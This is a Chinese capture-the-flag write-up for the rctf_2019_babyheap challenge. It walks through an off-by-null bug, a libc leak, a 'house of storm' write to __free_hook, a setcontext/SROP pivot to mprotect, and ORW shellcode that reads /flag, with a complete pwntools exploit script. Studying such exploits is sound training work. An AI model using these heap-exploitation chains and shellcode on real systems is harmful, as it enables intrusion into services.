同样是house of storm,但是如果程序开启了沙箱,禁用了system函数,那我们常规把hook函数改为system函数的方法就失效了,
若是沙箱没有禁用open,read,write函数,这里我们可以考虑用orw。

例题

rctf_2019_babyheap


保护全开,禁用了execve就是禁用了system,因为system函数通过调用execve函数才能执行。
看一下ida

main函数

可以看到是实现了四个功能,增改删查

int __cdecl main(int argc, const char **argv, const char **envp)
{init(argc, argv, envp);while ( 1 ){menu();switch ( get_int() ){case 1:add();break;case 2:edit();break;case 3:delete();break;case 4:show();break;case 5:puts("See you next time!");exit(0);default:puts("Invalid choice!");break;}}
}

add函数

可以申请最大0x1000大小的chunk,最多申请16个chunk

unsigned __int64 add()
{void **v0; // rbxint i; // [rsp+0h] [rbp-20h]int size; // [rsp+4h] [rbp-1Ch]unsigned __int64 v4; // [rsp+8h] [rbp-18h]v4 = __readfsqword(0x28u);for ( i = 0; *(ptrs + 2 * i) && i <= 15; ++i );if ( i == 16 ){puts("You can't");exit(-1);}printf("Size: ");size = get_int();if ( size <= 0 || size > 0x1000 ){puts("Invalid size :(");}else{*(ptrs + 4 * i + 2) = size;v0 = (ptrs + 16 * i);*v0 = calloc(size, 1uLL);puts("Add success :)");}return __readfsqword(0x28u) ^ v4;
}

edit函数

存在off-by-null漏洞

unsigned __int64 edit()
{unsigned int v1; // [rsp+0h] [rbp-10h]unsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);printf("Index: ");v1 = get_int();if ( v1 <= 0xF && *(ptrs + 2 * v1) ){printf("Content: ");*(*(ptrs + 2 * v1) + read_n(*(ptrs + 2 * v1), *(ptrs + 4 * v1 + 2))) = 0; //off-by-oneputs("Edit success :)");}else{puts("Invalid index :(");}return __readfsqword(0x28u) ^ v2;
}

delete函数

unsigned __int64 delete()
{unsigned int v1; // [rsp+4h] [rbp-Ch]unsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);printf("Index: ");v1 = get_int();if ( v1 <= 0xF && *(ptrs + 2 * v1) ){free(*(ptrs + 2 * v1));*(ptrs + 2 * v1) = 0LL;*(ptrs + 4 * v1 + 2) = 0;puts("Delete success :)");}else{puts("Invalid index :(");}return __readfsqword(0x28u) ^ v2;
}

show函数

unsigned __int64 show()
{unsigned int v1; // [rsp+4h] [rbp-Ch]unsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);printf("Index: ");v1 = get_int();if ( v1 <= 0xF && *(ptrs + 2 * v1) )puts(*(ptrs + 2 * v1));elseputs("Invalid index :(");return __readfsqword(0x28u) ^ v2;
}

思路

看了大佬的博客rctf_2019_babyheap,这里对其进行详细的解析。

程序禁用了fastbin,且能申请最大为0x1000大小的chuck,可以使用house of storm,修改free_hook的地址为shellcode,执行shellcode,这里我们需要用orw来写shellcode,并且在这之前需要用mprotect函数修改free_hook段为可读可写可执行权限。

调试过程

先把前面的写好

# coding=utf-8
from pwn import *
#sh = remote("node4.buuoj.cn", 29278)
sh = process('./rctf_2019_babyheap')
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./rctf_2019_babyheap")
libc = ELF('../../libc-2.23.so--64')
def dbg():gdb.attach(sh)pause()#命令简写化
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims   :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))def add(size):ru("Choice: \n")sl('1')ru("Size: ")sl(str(size))def free(index):ru("Choice: \n")sl('3')ru("Index: ")sl(str(index))def show(index):ru("Choice: \n")sl('4')ru("Index: ")sl(str(index))def edit(index, content):ru("Choice: \n")sl('2')ru("Index: ")sl(str(index))ru("Content: ")s(content)

首先构造堆块重叠,泄露libc基地址

先申请四个chunk,申请的chunk真正大小分别为0x90,0x70,0x100,0x20,
chunk_3是为了free前三个chunk后防止堆块合并

add(0x80)#0
add(0x68)#1
add(0xf0)#2
add(0x18)#3
dbg()


之后free chunk_0,此时因为禁用了fastbin,所以chunk_0直接进入了unsortedbin里,再利用off-by-null漏洞修改chunk_2的pre_size为0x100(chunk_0+chunk_1正好就是0x100),修改chunk_2的size为0x100,使他处于free状态。

free(0)
payload = 'a'*0x60 + p64(0x100)
edit(1, payload)dbg()


free chunk_2后,触发堆块前向合并,chunk_2的pre_size为是0x100,chunk_0和chunk_1加起来是0x100,就是前三个chunk合并。unsortedbin里存放着原chunk_0的起始地址。

free(2)dbg()


此时chunk_1是没有被free的,然后我们再次申请0x80(原chunk_0大小)大小的chunk,此时原chunk_1的mem区域存放着main_arena+88,因为chunk_1并没有被free,所以我们直接调用show函数即可泄露libc基地址。

add(0x80)#0
show(1)
malloc_hook = u64(ru('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
system = libc.sym['system']
free_hook = libc.sym['__free_hook']
set_context = libc.symbols['setcontext']
lg('libc_base',libc.address)dbg()


构造unsortbin chunk 和largebin chunk,进行 house of strom

先申请0x160大小的chunk,将unsortbin中残余chunk清空,之后构造unsortbin chunk 和largebin chunk的调试过程请参考我另一篇文章House of storm
此时我们已以可以修改free_hook处的值了

#---------------布置chunk-------------------------#
add(0x18)#4
add(0x508)#5
add(0x18)#6
add(0x18)#7
add(0x508)#8
add(0x18)#9
add(0x18)#10#dbg()
#----------------准备 unsorted chunk-----------------------#
edit(5, 'a'*0x4f0+p64(0x500))#dbg()free(5)
edit(4, 'a'*0x18)#dbg()add(0x18)#5
add(0x4d8)#11
free(5)
free(6)#dbg()add(0x30)#5
add(0x4e8)#6#dbg()#-------------------准备 large chunk-----------------------------------#
edit(8, 'a'*0x4f0+p64(0x500))
free(8)
edit(7, 'a'*0x18)
add(0x18)#8
add(0x4d8)#12
free(8)
free(9)
add(0x40)#8
#---------------unsorted chunk 和 large chunk 放到对应位置----------------------##dbg()free(6)#dbg()add(0x4e8)#6#dbg()free(6)#dbg()#pause()
#--------------修改他们的满足条件进行 house of strom------------------------------#
storage = free_hook
fake_chunk = storage - 0x20
payload = '\x00'*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(11, payload)#dbg()payload = '\x00'*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) +p64(0) + p64(fake_chunk-0x18-5)
edit(12, payload)#dbg()add(0x48)#6

mprotect+shellcode

修改free_hook为set_context+53,free_hook+0x18,free_hook+0x18,shellcode1,
setcontext函数负责对各个寄存器进行赋值,甚至可以控制rip,对寄存器进行赋值主要从+53开始,shellcode1即为read(0, new_addr,0x1000),new_addr即为(free_hook &0xFFFFFFFFFFFFF000)free_hook所在内存页的起始位置。我们将对这里赋予可读可写可执行权限。

new_addr =  free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000mov eax,0
syscalljmp rsi
''' % new_addr
edit(6, 'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))

修改前

修改后

SROP

我们利用pwntools里的SigreturnFrame()执行mprotect(new_addr,0x1000,7),并将rsp跳转到
free_hook+0x10处,即0x00007f05935487c0,之后执行0x00007f05935487c0地址处的代码,即我们刚才写入的shellcode1,执行read(0, new_addr,0x1000),将我们构造的第二个shellcode写入0x00007f0593548000处 ,并将rip跳转到我们写的第二个shellcode处执行。

frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(12, str(frame))
free(12)


ORW

利用orw构造shellcode,发送过去并执行,获得shell

shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push raxmov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscallmov rdi, rax ;// fd
mov rsi,rsp  ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscallmov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscallmov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
sl(asm(shellcode2))
itr()

exp

# coding=utf-8
from pwn import *
#sh = remote("node4.buuoj.cn", 29278)
sh = process('./rctf_2019_babyheap')
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./rctf_2019_babyheap")
libc = ELF('../../libc-2.23.so--64')
def dbg():gdb.attach(sh)pause()#命令简写化
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims   :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))def add(size):ru("Choice: \n")sl('1')ru("Size: ")sl(str(size))def free(index):ru("Choice: \n")sl('3')ru("Index: ")sl(str(index))def show(index):ru("Choice: \n")sl('4')ru("Index: ")sl(str(index))def edit(index, content):ru("Choice: \n")sl('2')ru("Index: ")sl(str(index))ru("Content: ")s(content)def pwn():add(0x80)#0add(0x68)#1add(0xf0)#2add(0x18)#3#dbg()free(0)payload = 'a'*0x60 + p64(0x100)edit(1, payload)#dbg()free(2)#dbg()add(0x80)#0show(1)malloc_hook = u64(ru('\x7f').ljust(8, '\x00')) - 0x58 - 0x10libc.address = malloc_hook - libc.sym['__malloc_hook']system = libc.sym['system']free_hook = libc.sym['__free_hook']set_context = libc.symbols['setcontext']lg('libc_base',libc.address)#dbg()add(0x160)#2#dbg()#---------------布置chunk-------------------------#add(0x18)#4add(0x508)#5add(0x18)#6add(0x18)#7add(0x508)#8add(0x18)#9add(0x18)#10#dbg()#----------------准备 unsorted chunk-----------------------#   edit(5, 'a'*0x4f0+p64(0x500))#dbg()free(5)edit(4, 'a'*0x18)#dbg()add(0x18)#5add(0x4d8)#11free(5)free(6)#dbg()add(0x30)#5add(0x4e8)#6#dbg()#-------------------准备 large chunk-----------------------------------#edit(8, 'a'*0x4f0+p64(0x500))free(8)edit(7, 'a'*0x18)add(0x18)#8add(0x4d8)#12free(8)free(9)add(0x40)#8#---------------unsorted chunk 和 large chunk 放到对应位置----------------------##dbg()free(6)#dbg()add(0x4e8)#6#dbg()free(6)#dbg()#pause()#--------------修改他们的满足条件进行 house of strom------------------------------#storage = free_hookfake_chunk = storage - 0x20payload = '\x00'*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)edit(11, payload)#dbg()payload = '\x00'*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) +p64(0) + p64(fake_chunk-0x18-5)edit(12, payload)#dbg()add(0x48)#6#dbg()new_addr =  free_hook &0xFFFFFFFFFFFFF000shellcode1 = '''xor rdi,rdimov rsi,%dmov edx,0x1000mov eax,0syscalljmp rsi''' % new_addredit(6, 'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))#dbg()frame = SigreturnFrame()frame.rsp = free_hook+0x10frame.rdi = new_addrframe.rsi = 0x1000frame.rdx = 7frame.rip = libc.sym['mprotect']edit(12, str(frame))free(12)#dbg() shellcode2 = '''mov rax, 0x67616c662f ;// /flagpush raxmov rdi, rsp ;// /flagmov rsi, 0 ;// O_RDONLYxor rdx, rdx ;mov rax, 2 ;// SYS_opensyscallmov rdi, rax ;// fd mov rsi,rsp  ;mov rdx, 1024 ;// nbytesmov rax,0 ;// SYS_readsyscallmov rdi, 1 ;// fd mov rsi, rsp ;// bufmov rdx, rax ;// count mov rax, 1 ;// SYS_writesyscallmov rdi, 0 ;// error_codemov rax, 60syscall'''sl(asm(shellcode2))dbg()itr()pwn()

house of storm+堆SROP+orw相关推荐

  1. BUUCTF-PWN rctf_2019_babyheap(house of storm,堆SROP)

    目录 题目分析 漏洞利用 Exp 题目分析 程序还有沙箱保护,把execve禁用了,只能orw了 在init中还把fastbin关了 在edit中有一个off-by-null溢出,以前这种情况都是用u ...

  2. DASCTFNepCTF 部分writeup

    目录 PWN oooorder springboard easyheap(本地成功) RE T0p Gear pyCharm 521 Magia MISC 透明度 PWN oooorder 一道不太复 ...

  3. [tcache double free + orw]MynoteMax

    [tcache double free + orw]MynoteMax 1. ida分析 漏洞点和Mynote一样,但是加了沙盒 禁用了execve,因此同样利用double free 和 uaf 进 ...

  4. Storm集群安装部署步骤【详细版】

    作者: 大圆那些事 | 文章可以转载,请以超链接形式标明文章原始出处和作者信息 网址: http://www.cnblogs.com/panfeng412/archive/2012/11/30/how ...

  5. 阿里的STORM——JSTORM

    看介绍文档貌似挺好: https://github.com/alibaba/jstorm 阿里拥有自己的实时计算引擎 类似于hadoop 中的MR 开源storm响应太慢 开源社区的速度完全跟不上Al ...

  6. 强网杯2021 [强网先锋]orw

    orw就是指你的系统调用被禁止了,不能通过子进程去获得权限和flag,只能在该进程通过 open , read ,write来得到flag 因为不是FULL RELRO所以就考虑改got表为shell ...

  7. Storm入门教程 Storm安装部署步骤

    本文以Twitter Storm官方Wiki为基础,详细描述如何快速搭建一个Storm集群,其中,项目实践中遇到的问题及经验总结,在相应章节以"注意事项"的形式给出. 3.1 St ...

  8. 为什么 Storm 比 Hadoop 快?是由哪几个方面决定的?

    https://www.zhihu.com/question/20098507 为什么 Storm 比 Hadoop 快?是由哪几个方面决定的?修改 写补充说明 举报 添加评论 分享 • 邀请回答 按 ...

  9. Flume+Kafka+Storm+Redis构建大数据实时处理系统:实时统计网站PV、UV+展示

    http://blog.51cto.com/xpleaf/2104160?cid=704690 1 大数据处理的常用方法 前面在我的另一篇文章中<大数据采集.清洗.处理:使用MapReduce进 ...

最新文章

  1. mysql配置及其使用
  2. 剑指OFFER之栈的压入、弹出序列(九度OJ1366)
  3. 如何测试一个电梯,测试方案及测试用例
  4. kickstart research
  5. #{}不自动改参数类型_如何在不刷新页面的情况下改变URL
  6. Linux—vi/vim全局替换
  7. 转:技术宅逆天了!如何从按键音中听出周鸿祎的手机号码
  8. dlib疲劳检测_使用OpenCv和Dlib进行打哈欠检测
  9. Java 学习如逆水行舟,不进则退,100 本 java 电子书推荐
  10. PetaLinux学习笔记 1
  11. 锂电池注液工艺视觉定位方案指南
  12. Java—企业微信网页版登陆认证详解
  13. 计算机游戏实践报告,关于在校学生玩电脑游戏的调查报告
  14. Android手机摄像头作为PC摄像头开发
  15. 在CentOS .65 64位安装OpenMeetings .3.0.1
  16. 基于单片机智能心率检测设备设计方案
  17. Jackknife,Bootstraping, bagging, boosting, AdaBoosting, Rand forest 和 gradient boosting的区别
  18. SSD: Single Shot MultiBox Detector
  19. 梯度累加(Gradient Accumulation)
  20. ubuntu 安装telnet服务

热门文章

  1. 向量图 正弦交流电路_正弦论文范文 有关相量图图解法在正弦交流电路解题中的应用策略毕业论文写作资料...
  2. 如何才能成为一名架构师?
  3. r820服务器型号解读,服务器每个参数的含义
  4. 迅雷财报解析:收入多元化市值被低估
  5. 将搜狗浏览器收藏夹导入到IE、Firefox、Chrome
  6. 搜狗浏览器收藏夹以及windows7 Application Data 文件夹
  7. mysql getgeneratedkeys,JDBC获得数据库生成的主键(JDBC、Primary Key)
  8. 上市后股价一泻千里,快手会有拐点吗?
  9. 随笔散文:关于北京的重度雾霾想到的
  10. 企业如果结合职工筑牢安全生产压舱石_陕西地电洋县供电分公司:无违章班组建设筑牢安全生产“压舱石”...